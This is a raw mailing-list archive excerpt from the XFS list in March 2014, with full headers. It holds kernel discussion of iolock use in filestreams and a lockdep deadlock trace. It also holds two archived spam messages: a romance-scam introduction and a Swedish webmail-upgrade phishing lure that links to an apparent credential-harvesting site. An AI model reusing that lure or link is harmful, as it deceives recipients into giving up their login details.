UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1394440541 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3754 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Mon, Mar 10, 2014 at 04:32:23PM +0800, Jeff Liu wrote: > From: Jie Liu > > Update the golden output to match the recently XFS return errno > changes if hit the limits of maximum number of ACLs. > > Signed-off-by: Jie Liu Thanks! Reviewed-by: Christoph Hellwig From gracejose1991@gmail.com Mon Mar 10 04:54:17 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,HTML_MESSAGE,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 7198D7F3F for ; Mon, 10 Mar 2014 04:54:17 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 5B5F8304043 for ; Mon, 10 Mar 2014 02:54:14 -0700 (PDT) X-ASG-Debug-ID: 1394445252-04cb6c56763edee0001-NocioJ Received: from mail-we0-f196.google.com (mail-we0-f196.google.com [74.125.82.196]) by cuda.sgi.com with ESMTP id 2yGAfBlhYoqzEWv8 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 10 Mar 2014 02:54:13 -0700 (PDT) X-Barracuda-Envelope-From: gracejose1991@gmail.com X-Barracuda-Apparent-Source-IP: 74.125.82.196 Received: by mail-we0-f196.google.com with SMTP id x48so3296627wes.3 for ; Mon, 10 Mar 2014 02:54:12 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:date:message-id:subject:from:to:content-type; bh=FvOlcPNLo1pyNLFy4ziT2Jh/MF57flcQzXUlPfFOWOo=; b=u0RmgdpC4WgSN8cSH1eb3Te4K6ITZov2uFRIQpThqMjIAxMZhuqkZKOTibiy7zgL50 ga68HmS4SlJg9qc733on7JndD+e8hwqOH/ULkHFybTjutqY+xe0AFOdTblUZQAXNvRs6 l1g+OKtY292OdACqrdcQPHQ7S7eM+TgIgpuUnXz9OYbcSIvT7q+Bhl8w8i7D4nVYYL2N ARW9KeMJfth4bHpCKCSSRvT2rxpPnDlHrgFgZuesdqTA0ClZakA+rFGA4YhzZB4WPlPR EaQDKfjt2KajUcU79LhR9KbYk6fTl9E6uwodnl6XKqMyp/UivMkhQeuR6coXM8yPfWs0 IzHw== MIME-Version: 1.0 X-Received: by 10.180.38.7 with SMTP id c7mr7350451wik.0.1394445252043; Mon, 10 Mar 2014 02:54:12 -0700 (PDT) Sender: gracejose1991@gmail.com Received: by 10.217.108.201 with HTTP; Mon, 10 Mar 2014 02:54:11 -0700 (PDT) Date: Mon, 10 Mar 2014 10:54:11 +0100 X-Google-Sender-Auth: brmf_j3Ipx0aMJavivev3_VeF5s Message-ID: Subject: This is Grace From: Grace Joseph X-ASG-Orig-Subj: This is Grace To: undisclosed-recipients:; Content-Type: multipart/alternative; boundary=e89a8f6479e9e82b1704f43d9569 X-Barracuda-Connect: mail-we0-f196.google.com[74.125.82.196] X-Barracuda-Start-Time: 1394445253 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-BRTS-Evidence: 1dce247e1d0da1433133e7da83b55aec-142-txt X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3755 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message --e89a8f6479e9e82b1704f43d9569 Content-Type: text/plain; charset=ISO-8859-1 Hi, How are you doing, i am Grace , good looking and beautiful, i will like to know you, just reply me for more introductions. Regards, Grace --e89a8f6479e9e82b1704f43d9569 Content-Type: text/html; charset=ISO-8859-1
Hi, How are you doing, i am Grace , good looking and beautiful, i will like to know you, just reply me for more introductions.
Regards,
Grace


--e89a8f6479e9e82b1704f43d9569-- From BATV+3dc03ffaa5662c26aa10+3851+infradead.org+hch@bombadil.srs.infradead.org Mon Mar 10 05:37:20 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id D609D7F3F for ; Mon, 10 Mar 2014 05:37:20 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id A8855304053 for ; Mon, 10 Mar 2014 03:37:20 -0700 (PDT) X-ASG-Debug-ID: 1394447839-04bdf076f0141540001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id phn3FCPBCmgnHIUf (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 10 Mar 2014 03:37:19 -0700 (PDT) X-Barracuda-Envelope-From: BATV+3dc03ffaa5662c26aa10+3851+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WMxa8-0002YT-6W; Mon, 10 Mar 2014 10:37:16 +0000 Date: Mon, 10 Mar 2014 03:37:16 -0700 From: Christoph Hellwig To: Dave Chinner Cc: "Michael L. Semon" , xfs-oss Subject: Re: Multi-CPU harmless lockdep on x86 while copying data Message-ID: <20140310103716.GA1431@infradead.org> X-ASG-Orig-Subj: Re: Multi-CPU harmless lockdep on x86 while copying data References: <531BD8B9.1090400@gmail.com> <20140310025523.GV6851@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140310025523.GV6851@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1394447839 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3756 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Mon, Mar 10, 2014 at 01:55:23PM +1100, Dave Chinner wrote: > Changing the directory code to handle this sort of locking is going > to require a bit of surgery. However, I can see advantages to moving > directory data to the same locking strategy as regular file data - > locking heirarchies are identical, directory ilock hold times are > much reduced, we don't get lockdep whining about taking page faults > with the ilock held, etc. > > A quick hack at to demonstrate the high level, initial step of using > the IOLOCK for readdir serialisation. I've done a little smoke > testing on it, so it won't die immediately. It should get rid of all > the nasty lockdep issues, but it doesn't start to address the deeper > restructing that is needed. What synchronization do we actually need from the iolock? Pushing the ilock down to where it's actually needed is a good idea either way, though. > This would be a straight forward change, except for two things: > filestreams and lockdep. The filestream allocator takes the > directory iolock and makes assumptions about parent->child locking > order of the iolock which will now be invalidated. Hence some > changes to the filestreams code is needed to ensure that it never > blocks on directory iolocks and deadlocks. instead it needs to fail > stream associations when such problems occur. I think the right fix is to stop abusing the iolock in filestreams. To me it seems like a look inside fstrm_item_t should be fine for what the filestreams code wants if I understand it correctly. >From looking over some of the filestreams code just for a few minutes I get an urge to redo lots of it right now.. > @@ -1228,7 +1244,7 @@ xfs_create( > * the transaction cancel unlocking dp so don't do it explicitly in the > * error path. > */ > - xfs_trans_ijoin(tp, dp, XFS_ILOCK_EXCL); > + xfs_trans_ijoin(tp, dp, XFS_IOLOCK_EXCL | XFS_ILOCK_EXCL); What do we need the iolock on these operations for? From penguin-kernel@i-love.sakura.ne.jp Mon Mar 10 05:55:31 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B34997F3F for ; Mon, 10 Mar 2014 05:55:31 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 8E25B304062 for ; Mon, 10 Mar 2014 03:55:31 -0700 (PDT) X-ASG-Debug-ID: 1394448924-04cbb054b91f4590001-NocioJ Received: from www262.sakura.ne.jp (www262.sakura.ne.jp [202.181.97.72]) by cuda.sgi.com with ESMTP id zNStTgKwvLqulQUY (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 10 Mar 2014 03:55:26 -0700 (PDT) X-Barracuda-Envelope-From: penguin-kernel@I-love.SAKURA.ne.jp X-Barracuda-Apparent-Source-IP: 202.181.97.72 Received: from www262.sakura.ne.jp (ksav31.sakura.ne.jp [210.224.165.211]) by www262.sakura.ne.jp (8.14.3/8.14.3) with ESMTP id s2AAtK2A034131; Mon, 10 Mar 2014 19:55:21 +0900 (JST) (envelope-from penguin-kernel@I-love.SAKURA.ne.jp) X-Nat-Received: from [202.181.97.72]:63760 [ident-empty] by smtp-proxy.isp with TPROXY id 1394448920.20036 Received: from CLAMP (KD175108057186.ppp-bb.dion.ne.jp [175.108.57.186]) by www262.sakura.ne.jp (8.14.3/8.14.3) with ESMTP id s2AAtKED034127; Mon, 10 Mar 2014 19:55:20 +0900 (JST) (envelope-from penguin-kernel@I-love.SAKURA.ne.jp) To: david@fromorbit.com Cc: xfs@oss.sgi.com, linux-fsdevel@vger.kernel.org Subject: [3.14-rc5 xfs] Lockdep warning From: Tetsuo Handa X-ASG-Orig-Subj: [3.14-rc5 xfs] Lockdep warning Message-Id: <201403101955.AAI04114.QJOFFFtHMSOLOV@I-love.SAKURA.ne.jp> X-Mailer: Winbiff [Version 2.51 PL2] X-Accept-Language: ja,en,zh Date: Mon, 10 Mar 2014 19:55:19 +0900 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Anti-Virus: Kaspersky Anti-Virus for Linux Mail Server 5.6.45.2/RELEASE, bases: 10032014 #7479151, status: clean X-Barracuda-Connect: www262.sakura.ne.jp[202.181.97.72] X-Barracuda-Start-Time: 1394448925 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3756 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header I get below lockdep warning as of 1dc3217d on linux.git. I guess the situation is same as of v3.14-rc6 because there is no changes in fs/xfs directory between 1dc3217d and v3.14-rc6. Also, the culprit commits were already backported to RHEL7 beta somewhere between 3.10.0-90.el7 and 3.10.0-97.el7 . [ 95.858636] audit: type=1404 audit(1394466090.590:2): selinux=0 auid=4294967295 ses=4294967295 [ 96.077814] ====================================================== [ 96.078356] [ INFO: possible circular locking dependency detected ] [ 96.078748] 3.14.0-rc5+ #263 Not tainted [ 96.079008] ------------------------------------------------------- [ 96.079182] systemd/1 is trying to acquire lock: [ 96.079214] (&mm->mmap_sem){++++++}, at: [] might_fault+0x5f/0xb0 [ 96.079520] but task is already holding lock: [ 96.079952] (&(&ip->i_lock)->mr_lock){++++..}, at: [] xfs_ilock+0x122/0x250 [xfs] [ 96.080061] which lock already depends on the new lock. [ 96.080574] the existing dependency chain (in reverse order) is: [ 96.080959] -> #1 (&(&ip->i_lock)->mr_lock){++++..}: [ 96.081263] [] __lock_acquire+0x3c6/0xb60 [ 96.081310] [] lock_acquire+0xa2/0x1d0 [ 96.081497] [] down_read_nested+0x57/0xa0 [ 96.081541] [] xfs_ilock+0x122/0x250 [xfs] [ 96.081761] [] xfs_ilock_data_map_shared+0x30/0x40 [xfs] [ 96.081838] [] __xfs_get_blocks+0xc3/0x7e0 [xfs] [ 96.082010] [] xfs_get_blocks+0x11/0x20 [xfs] [ 96.082152] [] do_mpage_readpage+0x447/0x670 [ 96.082200] [] mpage_readpages+0xdb/0x130 [ 96.082466] [] xfs_vm_readpages+0x1d/0x20 [xfs] [ 96.082608] [] __do_page_cache_readahead+0x2c2/0x360 [ 96.082659] [] ra_submit+0x21/0x30 [ 96.082848] [] filemap_fault+0x395/0x440 [ 96.082971] [] __do_fault+0x6f/0x530 [ 96.083091] [] handle_mm_fault+0x492/0xee0 [ 96.083258] [] __do_page_fault+0x196/0x5b0 [ 96.083310] [] do_page_fault+0x31/0x70 [ 96.083350] [] page_fault+0x28/0x30 [ 96.083538] [] clear_user+0x2f/0x40 [ 96.083579] [] padzero+0x29/0x40 [ 96.083767] [] load_elf_binary+0x976/0xd80 [ 96.083890] [] search_binary_handler+0x94/0x1b0 [ 96.084160] [] do_execve_common.isra.26+0x654/0x8d0 [ 96.084288] [] SyS_execve+0x29/0x30 [ 96.084548] [] stub_execve+0x69/0xa0 [ 96.084669] -> #0 (&mm->mmap_sem){++++++}: [ 96.084863] [] validate_chain.isra.43+0x1131/0x11d0 [ 96.086017] [] __lock_acquire+0x3c6/0xb60 [ 96.087062] [] lock_acquire+0xa2/0x1d0 [ 96.088117] [] might_fault+0x8c/0xb0 [ 96.089183] [] filldir+0x91/0x120 [ 96.090211] [] xfs_dir2_block_getdents+0x1e8/0x250 [xfs] [ 96.091289] [] xfs_readdir+0x11d/0x210 [xfs] [ 96.092331] [] xfs_file_readdir+0x2b/0x40 [xfs] [ 96.093388] [] iterate_dir+0xa8/0xe0 [ 96.094396] [] SyS_getdents+0x93/0x120 [ 96.095434] [] system_call_fastpath+0x16/0x1b [ 96.096443] other info that might help us debug this: [ 96.098894] Possible unsafe locking scenario: [ 96.099795] CPU0 CPU1 [ 96.100234] ---- ---- [ 96.100666] lock(&(&ip->i_lock)->mr_lock); [ 96.101158] lock(&mm->mmap_sem); [ 96.101597] lock(&(&ip->i_lock)->mr_lock); [ 96.102030] lock(&mm->mmap_sem); [ 96.102458] *** DEADLOCK *** [ 96.103750] 2 locks held by systemd/1: [ 96.104224] #0: (&type->i_mutex_dir_key#2){+.+.+.}, at: [] iterate_dir+0x62/0xe0 [ 96.104669] #1: (&(&ip->i_lock)->mr_lock){++++..}, at: [] xfs_ilock+0x122/0x250 [xfs] [ 96.105135] stack backtrace: [ 96.106039] CPU: 1 PID: 1 Comm: systemd Not tainted 3.14.0-rc5+ #263 [ 96.106481] Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 09/20/2012 [ 96.106946] ffffffff826a82a0 ffff880078427c08 ffffffff8169d6bd ffffffff826a82a0 [ 96.107424] ffff880078427c48 ffffffff81696ef2 ffff880078427c80 0000000000000001 [ 96.107906] ffff880078428cf8 0000000000000002 ffff880078428000 ffff880078428cf8 [ 96.108421] Call Trace: [ 96.108964] [] dump_stack+0x4d/0x66 [ 96.109459] [] print_circular_bug+0x1f9/0x207 [ 96.109949] [] validate_chain.isra.43+0x1131/0x11d0 [ 96.110490] [] __lock_acquire+0x3c6/0xb60 [ 96.111040] [] ? xfs_buf_read_map+0x2c/0x270 [xfs] [ 96.111556] [] lock_acquire+0xa2/0x1d0 [ 96.112097] [] ? might_fault+0x5f/0xb0 [ 96.112610] [] might_fault+0x8c/0xb0 [ 96.113119] [] ? might_fault+0x5f/0xb0 [ 96.113660] [] filldir+0x91/0x120 [ 96.114160] [] xfs_dir2_block_getdents+0x1e8/0x250 [xfs] [ 96.114668] [] xfs_readdir+0x11d/0x210 [xfs] [ 96.115166] [] xfs_file_readdir+0x2b/0x40 [xfs] [ 96.115658] [] iterate_dir+0xa8/0xe0 [ 96.116194] [] SyS_getdents+0x93/0x120 [ 96.116686] [] ? fillonedir+0xf0/0xf0 [ 96.117198] [] system_call_fastpath+0x16/0x1b [ 99.855526] systemd-journald[426]: Vacuuming done, freed 0 bytes From BATV+3dc03ffaa5662c26aa10+3851+infradead.org+hch@bombadil.srs.infradead.org Mon Mar 10 06:13:01 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id A01DD7F3F for ; Mon, 10 Mar 2014 06:13:01 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 79E63304053 for ; Mon, 10 Mar 2014 04:12:58 -0700 (PDT) X-ASG-Debug-ID: 1394449975-04bdf05dab41aa00001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id 7kJNlD5ODT19IOlg (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 10 Mar 2014 04:12:55 -0700 (PDT) X-Barracuda-Envelope-From: BATV+3dc03ffaa5662c26aa10+3851+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WMy8b-0002OK-EK; Mon, 10 Mar 2014 11:12:53 +0000 Date: Mon, 10 Mar 2014 04:12:53 -0700 From: Christoph Hellwig To: Dave Chinner Cc: "Michael L. Semon" , xfs-oss Subject: Re: Multi-CPU harmless lockdep on x86 while copying data Message-ID: <20140310111253.GA4801@infradead.org> X-ASG-Orig-Subj: Re: Multi-CPU harmless lockdep on x86 while copying data References: <531BD8B9.1090400@gmail.com> <20140310025523.GV6851@dastard> <20140310103716.GA1431@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140310103716.GA1431@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1394449975 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3756 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Mon, Mar 10, 2014 at 03:37:16AM -0700, Christoph Hellwig wrote: > I think the right fix is to stop abusing the iolock in filestreams. > To me it seems like a look inside fstrm_item_t should be fine > for what the filestreams code wants if I understand it correctly. Seems like the iolock could be removed fairly easily by using either of the two options: a) reference count fstrm_item, and just grab a reference to it for each child as well as the parent and insert it multiple times. Kill ->pip. b) only allocate and insert fstrm_items for directories. Find the directory by grabbing an entry off inode->i_dentry and then grabbing the parent. There always should be a dentry around when we allocate blocks, and if none we can just skip out of the filestreams allocator if there's none. For the cases that matter there is. Both mean that the race it tries to protect against using the iolock is remove entirely, and the code becomes more efficient as well. Option a) seems simple to implement, but b) will save a lot more memory and operations when using the filestreams allocator. From DonnaHunt@fdle.state.fl.us Mon Mar 10 09:02:13 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B95B27F3F for ; Mon, 10 Mar 2014 09:02:13 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 9D29B304066 for ; Mon, 10 Mar 2014 07:02:10 -0700 (PDT) X-ASG-Debug-ID: 1394460126-04cbb054b8200220001-NocioJ Received: from mh01.fdle.state.fl.us (mh03.fdle.state.fl.us [207.203.238.10]) by cuda.sgi.com with ESMTP id GzooOcLa1HbS3b1H for ; Mon, 10 Mar 2014 07:02:06 -0700 (PDT) X-Barracuda-Envelope-From: DonnaHunt@fdle.state.fl.us X-Barracuda-Apparent-Source-IP: 207.203.238.10 X-IronPort-AV: E=Sophos;i="4.97,624,1389762000"; d="scan'208,217";a="21558463" Received: from hub1.myfdle.net ([162.143.100.71]) by mh01.fdle.state.fl.us with ESMTP/TLS/AES128-SHA; 10 Mar 2014 10:02:07 -0400 Received: from MBX1.myfdle.net ([fe80::20ad:2b5c:afd5:37b4]) by hub1 ([127.0.0.1]) with mapi; Mon, 10 Mar 2014 10:02:07 -0400 From: "Hunt, Donna" Date: Mon, 10 Mar 2014 10:02:05 -0400 Subject: UPPGRADERA din webmail. Thread-Topic: UPPGRADERA din webmail. X-ASG-Orig-Subj: UPPGRADERA din webmail. Thread-Index: AQHPPGlSxaSCvgNM4EuREG1YL3Z14Q== Message-ID: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: multipart/alternative; boundary="_000_F7BBF4940A4C3E428192FC380151D42402D78999CEMBX1myfdlenet_" MIME-Version: 1.0 X-Barracuda-Connect: mh03.fdle.state.fl.us[207.203.238.10] X-Barracuda-Start-Time: 1394460126 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.73 X-Barracuda-Spam-Status: No, SCORE=1.73 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA074, HTML_MESSAGE, MISSING_HEADERS, THREAD_INDEX, THREAD_TOPIC, TO_CC_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3759 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.01 THREAD_TOPIC Thread-Topic: ...(Japanese Subject)... 1.21 MISSING_HEADERS Missing To: header 0.50 BSF_SC0_SA074 URI: Custom Rule SA074 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 TO_CC_NONE No To: or Cc: header To: undisclosed-recipients:; --_000_F7BBF4940A4C3E428192FC380151D42402D78999CEMBX1myfdlenet_ Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Detta =E4r den helpdesk program som kontrollerar regelbundet storleken p=E5= din e-postutrymme skickar denna information. Programmet l=F6per f=F6r att = s=E4kerst=E4lla din inkorg inte blir f=F6r stor, vilket g=F6r att du fr=E5n= att ta emot eller skicka ny e-post. Eftersom detta meddelande skickas, du = r=E4ddade 2,5 gigabyte (GB) eller mer i din inkorg. Vi h=E5ller p=E5 att up= pgradera v=E5r databas och e-post center. Vi =E5terst=E4ller all e-post til= l mer utrymme f=F6r nya e-postlagring f=F6r att skapa. F=F6r att uppgradera din brevl=E5da: http://bredbandteamsservice.jimdo.com<= http://bredbandteamsservice.jimdo.com/> Tack, och om urs=E4kt f=F6r besv=E4ret. Help Desk --_000_F7BBF4940A4C3E428192FC380151D42402D78999CEMBX1myfdlenet_ Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Detta = =E4r den helpdesk program som kontrollerar regelbundet storleken p=E5 din e= -postutrymme skickar denna information. Programmet l=F6per f=F6r att s=E4ke= rst=E4lla din inkorg inte blir f=F6r stor, vilket g=F6r att du fr=E5n att ta emot eller skicka ny e-post. Eftersom detta meddelande sk= ickas, du r=E4ddade 2,5 gigabyte (GB) eller mer i din inkorg. Vi h=E5ller p= =E5 att uppgradera v=E5r databas och e-post center. Vi =E5terst=E4ller all = e-post till mer utrymme f=F6r nya e-postlagring f=F6r att skapa.
 
F=F6r a= tt uppgradera din brevl=E5da: http://bredbandteamsserv= ice.jimdo.com
 
Tack, o= ch om urs=E4kt f=F6r besv=E4ret.
Help Desk
--_000_F7BBF4940A4C3E428192FC380151D42402D78999CEMBX1myfdlenet_-- From jra@baylink.com Mon Mar 10 12:53:54 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 2DAD97F3F for ; Mon, 10 Mar 2014 12:53:54 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 1D35A8F8040 for ; Mon, 10 Mar 2014 10:53:51 -0700 (PDT) X-ASG-Debug-ID: 1394474028-04cbb054b8210e40001-NocioJ Received: from benjamin.baylink.com (rrcs-24-129-180-187.se.biz.rr.com [24.129.180.187]) by cuda.sgi.com with ESMTP id c3sNIqxfrEdpSFWo for ; Mon, 10 Mar 2014 10:53:49 -0700 (PDT) X-Barracuda-Envelope-From: jra@baylink.com X-Barracuda-Apparent-Source-IP: 24.129.180.187 Received: from localhost (localhost.localdomain [127.0.0.1]) by benjamin.baylink.com (Postfix) with ESMTP id 901F11F00121 for ; Mon, 10 Mar 2014 13:53:48 -0400 (EDT) X-Virus-Scanned: amavisd-new at benjamin.baylink.com Received: from benjamin.baylink.com ([127.0.0.1]) by localhost (benjamin.baylink.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id oI9duryidyz2 for ; Mon, 10 Mar 2014 13:53:42 -0400 (EDT) Received: from benjamin.baylink.com (benjamin.baylink.com [192.168.253.10]) by benjamin.baylink.com (Postfix) with ESMTP id AE0A51F00120 for ; Mon, 10 Mar 2014 13:53:42 -0400 (EDT) Date: Mon, 10 Mar 2014 13:53:42 -0400 (EDT) From: Jay Ashworth To: xfs Message-ID: <14664062.11348.1394474022632.JavaMail.root@benjamin.baylink.com> In-Reply-To: <20140309002819.GT6851@dastard> Subject: Re: Hello, I have a question about XFS File System MIME-Version: 1.0 X-ASG-Orig-Subj: Re: Hello, I have a question about XFS File System Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit X-Originating-IP: [24.129.138.131] X-Mailer: Zimbra 6.0.9_GA_2686 (ZimbraWebClient - FF3.0 (Linux)/6.0.9_GA_2686) X-Barracuda-Connect: rrcs-24-129-180-187.se.biz.rr.com[24.129.180.187] X-Barracuda-Start-Time: 1394474028 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.10 X-Barracuda-Spam-Status: No, SCORE=2.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC7_SA_HREF_FROM_MISMATCH_TEXT_URIx1_HL, INFO_TLD, RDNS_DYNAMIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3764 Rule breakdown below pts rule name description ---- ---------------------- 